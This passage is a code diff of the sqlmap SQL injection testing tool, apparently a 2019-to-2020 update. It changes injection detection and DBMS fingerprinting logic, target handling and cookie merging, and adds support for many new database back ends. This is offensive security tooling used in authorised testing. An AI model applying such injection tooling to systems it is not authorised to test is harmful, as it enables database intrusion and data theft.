Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -54,6 +54,8 @@ def action():
|
||||
|
||||
conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
|
||||
|
||||
kb.fingerprinted = True
|
||||
|
||||
# Enumeration options
|
||||
if conf.getBanner:
|
||||
conf.dumper.banner(conf.dbmsHandler.getBanner())
|
||||
@@ -181,7 +183,10 @@ def action():
|
||||
raise
|
||||
|
||||
if conf.sqlQuery:
|
||||
conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery))
|
||||
for query in conf.sqlQuery.strip(';').split(';'):
|
||||
query = query.strip()
|
||||
if query:
|
||||
conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
|
||||
|
||||
if conf.sqlShell:
|
||||
conf.dbmsHandler.sqlShell()
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.common import intersect
|
||||
from lib.core.common import joinValue
|
||||
from lib.core.common import listToStrValue
|
||||
from lib.core.common import parseFilePaths
|
||||
from lib.core.common import popValue
|
||||
@@ -44,6 +45,7 @@ from lib.core.common import unArrayizeValue
|
||||
from lib.core.common import wasLastResponseDBMSError
|
||||
from lib.core.common import wasLastResponseHTTPError
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -52,6 +54,7 @@ from lib.core.datatype import AttribDict
|
||||
from lib.core.datatype import InjectionDict
|
||||
from lib.core.decorators import stackedmethod
|
||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||
from lib.core.dicts import HEURISTIC_NULL_EVAL
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import HEURISTIC_TEST
|
||||
@@ -73,6 +76,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
|
||||
from lib.core.settings import CHECK_INTERNET_ADDRESS
|
||||
from lib.core.settings import CHECK_INTERNET_VALUE
|
||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
|
||||
from lib.core.settings import FI_ERROR_REGEX
|
||||
@@ -94,6 +98,7 @@ from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.core.settings import URI_HTTP_HEADER
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.comparison import comparison
|
||||
from lib.request.inject import checkBooleanExpression
|
||||
@@ -152,7 +157,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
# payload), ask the user to limit the tests to the fingerprinted
|
||||
# DBMS
|
||||
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
||||
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
|
||||
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
|
||||
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
||||
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
|
||||
|
||||
@@ -162,7 +167,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
# regardless of --level and --risk values provided
|
||||
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
||||
msg = "for the remaining tests, do you want to include all tests "
|
||||
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
|
||||
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
|
||||
msg += "level (%d)" % conf.level if conf.level < 5 else ""
|
||||
msg += " and " if conf.level < 5 and conf.risk < 3 else ""
|
||||
msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
|
||||
@@ -501,7 +506,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
||||
|
||||
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
|
||||
if not kb.negativeLogic:
|
||||
if not any((kb.negativeLogic, conf.string, conf.notString)):
|
||||
try:
|
||||
ratio = 1.0
|
||||
seqMatcher = getCurrentThreadData().seqMatcher
|
||||
@@ -516,8 +521,6 @@ def checkSqlInjection(place, parameter, value):
|
||||
except (MemoryError, OverflowError):
|
||||
pass
|
||||
|
||||
kb.prevFalsePage = falsePage
|
||||
|
||||
# Perform the test's True request
|
||||
trueResult = Request.queryPage(reqPayload, place, raise404=False)
|
||||
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||
@@ -598,7 +601,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
if candidates:
|
||||
candidates = sorted(candidates, key=len)
|
||||
for candidate in candidates:
|
||||
if re.match(r"\A\w+\Z", candidate):
|
||||
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
||||
break
|
||||
|
||||
conf.string = candidate
|
||||
@@ -785,8 +788,12 @@ def checkSqlInjection(place, parameter, value):
|
||||
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
|
||||
logger.info(infoMsg)
|
||||
|
||||
process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
|
||||
process.wait()
|
||||
try:
|
||||
process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
|
||||
process.wait()
|
||||
except Exception as ex:
|
||||
errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
|
||||
logger.error(errMsg)
|
||||
|
||||
kb.alerted = True
|
||||
|
||||
@@ -875,12 +882,17 @@ def heuristicCheckDbms(injection):
|
||||
|
||||
for dbms in getPublicTypeMembers(DBMS, True):
|
||||
randStr1, randStr2 = randomStr(), randomStr()
|
||||
|
||||
Backend.forceDbms(dbms)
|
||||
|
||||
if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
|
||||
continue
|
||||
if dbms in HEURISTIC_NULL_EVAL:
|
||||
result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, "")))
|
||||
elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1):
|
||||
result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER))
|
||||
else:
|
||||
result = False
|
||||
|
||||
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
|
||||
if result:
|
||||
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
||||
retVal = dbms
|
||||
break
|
||||
@@ -924,6 +936,12 @@ def checkFalsePositives(injection):
|
||||
randInt1 = min(randInt1, randInt2, randInt3)
|
||||
randInt3 = max(randInt1, randInt2, randInt3)
|
||||
|
||||
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
||||
continue
|
||||
|
||||
if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
||||
continue
|
||||
|
||||
if randInt3 > randInt2 > randInt1:
|
||||
break
|
||||
|
||||
@@ -1098,6 +1116,7 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
logger.warn(infoMsg)
|
||||
|
||||
kb.heuristicMode = True
|
||||
kb.disableHtmlDecoding = True
|
||||
|
||||
randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
|
||||
value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
|
||||
@@ -1117,6 +1136,7 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
logger.info(infoMsg)
|
||||
break
|
||||
|
||||
kb.disableHtmlDecoding = False
|
||||
kb.heuristicMode = False
|
||||
|
||||
return kb.heuristicTest
|
||||
@@ -1511,8 +1531,9 @@ def checkConnection(suppressOutput=False):
|
||||
conf.disablePrecon = True
|
||||
|
||||
if not kb.originalPage and wasLastResponseHTTPError():
|
||||
errMsg = "unable to retrieve page content"
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
if getLastRequestHTTPError() not in (conf.ignoreCode or []):
|
||||
errMsg = "unable to retrieve page content"
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
elif wasLastResponseDBMSError():
|
||||
warnMsg = "there is a DBMS error found in the HTTP response body "
|
||||
warnMsg += "which could interfere with the results of the tests"
|
||||
@@ -1559,6 +1580,16 @@ def checkConnection(suppressOutput=False):
|
||||
kb.originalPage = kb.pageTemplate = threadData.lastPage
|
||||
kb.originalCode = threadData.lastCode
|
||||
|
||||
if conf.cj and not conf.cookie and not conf.dropSetCookie:
|
||||
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
|
||||
|
||||
message = "you have not declared cookie(s), while "
|
||||
message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)
|
||||
message += "Do you want to use those [Y/n] "
|
||||
if readInput(message, default='Y', boolean=True):
|
||||
kb.mergeCookies = True
|
||||
conf.httpHeaders.append((HTTP_HEADER.COOKIE, candidate))
|
||||
|
||||
return True
|
||||
|
||||
def checkInternet():
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -31,10 +31,12 @@ from lib.core.common import getSafeExString
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.common import intersect
|
||||
from lib.core.common import isDigit
|
||||
from lib.core.common import isListLike
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import popValue
|
||||
from lib.core.common import pushValue
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import removePostHintPrefix
|
||||
@@ -56,6 +58,7 @@ from lib.core.enums import NOTE
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.exception import SqlmapBaseException
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapNotVulnerableException
|
||||
from lib.core.exception import SqlmapSilentQuitException
|
||||
@@ -129,7 +132,7 @@ def _selectInjection():
|
||||
message += "[q] Quit"
|
||||
choice = readInput(message, default='0').upper()
|
||||
|
||||
if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0:
|
||||
if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0:
|
||||
index = int(choice)
|
||||
elif choice == 'Q':
|
||||
raise SqlmapUserQuitException
|
||||
@@ -202,10 +205,11 @@ def _randomFillBlankFields(value):
|
||||
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
|
||||
item = match.group("result")
|
||||
if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
|
||||
newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt()
|
||||
if item[-1] == DEFAULT_GET_POST_DELIMITER:
|
||||
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
|
||||
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER))
|
||||
else:
|
||||
retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
|
||||
retVal = retVal.replace(item, "%s%s" % (item, newValue))
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -256,13 +260,9 @@ def _saveToResultsFile():
|
||||
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
|
||||
conf.resultsFP.write(line)
|
||||
|
||||
if not results:
|
||||
line = "%s,,,,%s" % (conf.url, os.linesep)
|
||||
conf.resultsFP.write(line)
|
||||
|
||||
conf.resultsFP.flush()
|
||||
except IOError as ex:
|
||||
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
|
||||
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
@stackedmethod
|
||||
@@ -292,7 +292,7 @@ def start():
|
||||
return False
|
||||
|
||||
if kb.targets and len(kb.targets) > 1:
|
||||
infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
|
||||
infoMsg = "found a total of %d targets" % len(kb.targets)
|
||||
logger.info(infoMsg)
|
||||
|
||||
hostCount = 0
|
||||
@@ -300,7 +300,6 @@ def start():
|
||||
|
||||
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
||||
try:
|
||||
|
||||
if conf.checkInternet:
|
||||
infoMsg = "checking for Internet connection"
|
||||
logger.info(infoMsg)
|
||||
@@ -309,14 +308,23 @@ def start():
|
||||
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
|
||||
dataToStdout(warnMsg)
|
||||
|
||||
while not checkInternet():
|
||||
dataToStdout('.')
|
||||
time.sleep(5)
|
||||
valid = False
|
||||
for _ in xrange(conf.retries):
|
||||
if checkInternet():
|
||||
valid = True
|
||||
break
|
||||
else:
|
||||
dataToStdout('.')
|
||||
time.sleep(5)
|
||||
|
||||
dataToStdout("\n")
|
||||
if not valid:
|
||||
errMsg = "please check your Internet connection and rerun"
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
else:
|
||||
dataToStdout("\n")
|
||||
|
||||
conf.url = targetUrl
|
||||
conf.method = targetMethod.upper() if targetMethod else targetMethod
|
||||
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
|
||||
conf.data = targetData
|
||||
conf.cookie = targetCookie
|
||||
conf.httpHeaders = list(initialHeaders)
|
||||
@@ -328,6 +336,10 @@ def start():
|
||||
conf.httpHeaders.append((header, value))
|
||||
break
|
||||
|
||||
if conf.data:
|
||||
# Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
|
||||
conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
|
||||
|
||||
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
|
||||
|
||||
initTargetEnv()
|
||||
@@ -374,7 +386,7 @@ def start():
|
||||
message += "\nCookie: %s" % conf.cookie
|
||||
|
||||
if conf.data is not None:
|
||||
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "")
|
||||
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
||||
|
||||
if conf.forms and conf.method:
|
||||
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
||||
@@ -389,7 +401,7 @@ def start():
|
||||
break
|
||||
else:
|
||||
if conf.method != HTTPMETHOD.GET:
|
||||
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
|
||||
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
|
||||
conf.data = readInput(message, default=conf.data)
|
||||
conf.data = _randomFillBlankFields(conf.data)
|
||||
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
|
||||
@@ -405,14 +417,17 @@ def start():
|
||||
parseTargetUrl()
|
||||
|
||||
else:
|
||||
message += "\ndo you want to test this URL? [Y/n/q]"
|
||||
choice = readInput(message, default='Y').upper()
|
||||
if not conf.scope:
|
||||
message += "\ndo you want to test this URL? [Y/n/q]"
|
||||
choice = readInput(message, default='Y').upper()
|
||||
|
||||
if choice == 'N':
|
||||
dataToStdout(os.linesep)
|
||||
continue
|
||||
elif choice == 'Q':
|
||||
break
|
||||
if choice == 'N':
|
||||
dataToStdout(os.linesep)
|
||||
continue
|
||||
elif choice == 'Q':
|
||||
break
|
||||
else:
|
||||
pass
|
||||
|
||||
infoMsg = "testing URL '%s'" % targetUrl
|
||||
logger.info(infoMsg)
|
||||
@@ -458,18 +473,18 @@ def start():
|
||||
for place in parameters:
|
||||
# Test User-Agent and Referer headers only if
|
||||
# --level >= 3
|
||||
skip = (place == PLACE.USER_AGENT and conf.level < 3)
|
||||
skip |= (place == PLACE.REFERER and conf.level < 3)
|
||||
skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
|
||||
skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))
|
||||
|
||||
# --param-filter
|
||||
skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)
|
||||
|
||||
# Test Host header only if
|
||||
# --level >= 5
|
||||
skip |= (place == PLACE.HOST and conf.level < 5)
|
||||
skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))
|
||||
|
||||
# Test Cookie header only if --level >= 2
|
||||
skip |= (place == PLACE.COOKIE and conf.level < 2)
|
||||
skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))
|
||||
|
||||
skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
|
||||
skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
|
||||
@@ -484,9 +499,6 @@ def start():
|
||||
if skip:
|
||||
continue
|
||||
|
||||
if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||
continue
|
||||
|
||||
if place not in conf.paramDict:
|
||||
continue
|
||||
|
||||
@@ -740,9 +752,9 @@ def start():
|
||||
logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
|
||||
|
||||
if conf.multipleTargets:
|
||||
if conf.resultsFilename:
|
||||
if conf.resultsFile:
|
||||
infoMsg = "you can find results of scanning in multiple targets "
|
||||
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
|
||||
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
return True
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -11,47 +11,83 @@ from lib.core.data import kb
|
||||
from lib.core.dicts import DBMS_DICT
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import ALTIBASE_ALIASES
|
||||
from lib.core.settings import CACHE_ALIASES
|
||||
from lib.core.settings import CRATEDB_ALIASES
|
||||
from lib.core.settings import CUBRID_ALIASES
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import DERBY_ALIASES
|
||||
from lib.core.settings import EXTREMEDB_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import FRONTBASE_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import MCKOI_ALIASES
|
||||
from lib.core.settings import MIMERSQL_ALIASES
|
||||
from lib.core.settings import MONETDB_ALIASES
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import PRESTO_ALIASES
|
||||
from lib.core.settings import SQLITE_ALIASES
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import SYBASE_ALIASES
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.core.settings import VERTICA_ALIASES
|
||||
from lib.utils.sqlalchemy import SQLAlchemy
|
||||
|
||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
||||
from plugins.dbms.mysql import MySQLMap
|
||||
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
||||
from plugins.dbms.oracle import OracleMap
|
||||
from plugins.dbms.oracle.connector import Connector as OracleConn
|
||||
from plugins.dbms.postgresql import PostgreSQLMap
|
||||
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
||||
from plugins.dbms.sqlite import SQLiteMap
|
||||
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
||||
from plugins.dbms.access import AccessMap
|
||||
from plugins.dbms.access.connector import Connector as AccessConn
|
||||
from plugins.dbms.firebird import FirebirdMap
|
||||
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
||||
from plugins.dbms.maxdb import MaxDBMap
|
||||
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
|
||||
from plugins.dbms.sybase import SybaseMap
|
||||
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
||||
from plugins.dbms.db2 import DB2Map
|
||||
from plugins.dbms.access import AccessMap
|
||||
from plugins.dbms.altibase.connector import Connector as AltibaseConn
|
||||
from plugins.dbms.altibase import AltibaseMap
|
||||
from plugins.dbms.cache.connector import Connector as CacheConn
|
||||
from plugins.dbms.cache import CacheMap
|
||||
from plugins.dbms.cratedb.connector import Connector as CrateDBConn
|
||||
from plugins.dbms.cratedb import CrateDBMap
|
||||
from plugins.dbms.cubrid.connector import Connector as CubridConn
|
||||
from plugins.dbms.cubrid import CubridMap
|
||||
from plugins.dbms.db2.connector import Connector as DB2Conn
|
||||
from plugins.dbms.hsqldb import HSQLDBMap
|
||||
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
||||
from plugins.dbms.h2 import H2Map
|
||||
from plugins.dbms.db2 import DB2Map
|
||||
from plugins.dbms.derby.connector import Connector as DerbyConn
|
||||
from plugins.dbms.derby import DerbyMap
|
||||
from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
|
||||
from plugins.dbms.extremedb import ExtremeDBMap
|
||||
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
||||
from plugins.dbms.firebird import FirebirdMap
|
||||
from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
|
||||
from plugins.dbms.frontbase import FrontBaseMap
|
||||
from plugins.dbms.h2.connector import Connector as H2Conn
|
||||
from plugins.dbms.informix import InformixMap
|
||||
from plugins.dbms.h2 import H2Map
|
||||
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
||||
from plugins.dbms.hsqldb import HSQLDBMap
|
||||
from plugins.dbms.informix.connector import Connector as InformixConn
|
||||
from plugins.dbms.informix import InformixMap
|
||||
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
|
||||
from plugins.dbms.maxdb import MaxDBMap
|
||||
from plugins.dbms.mckoi.connector import Connector as MckoiConn
|
||||
from plugins.dbms.mckoi import MckoiMap
|
||||
from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
|
||||
from plugins.dbms.mimersql import MimerSQLMap
|
||||
from plugins.dbms.monetdb.connector import Connector as MonetDBConn
|
||||
from plugins.dbms.monetdb import MonetDBMap
|
||||
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
||||
from plugins.dbms.mysql import MySQLMap
|
||||
from plugins.dbms.oracle.connector import Connector as OracleConn
|
||||
from plugins.dbms.oracle import OracleMap
|
||||
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
||||
from plugins.dbms.postgresql import PostgreSQLMap
|
||||
from plugins.dbms.presto.connector import Connector as PrestoConn
|
||||
from plugins.dbms.presto import PrestoMap
|
||||
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
||||
from plugins.dbms.sqlite import SQLiteMap
|
||||
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
||||
from plugins.dbms.sybase import SybaseMap
|
||||
from plugins.dbms.vertica.connector import Connector as VerticaConn
|
||||
from plugins.dbms.vertica import VerticaMap
|
||||
|
||||
def setHandler():
|
||||
"""
|
||||
@@ -73,6 +109,18 @@ def setHandler():
|
||||
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
||||
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
|
||||
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
||||
(DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
|
||||
(DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
|
||||
(DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
|
||||
(DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
|
||||
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
|
||||
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
|
||||
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
|
||||
(DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
|
||||
(DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
|
||||
(DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
|
||||
(DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
|
||||
(DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
|
||||
]
|
||||
|
||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
||||
|
||||
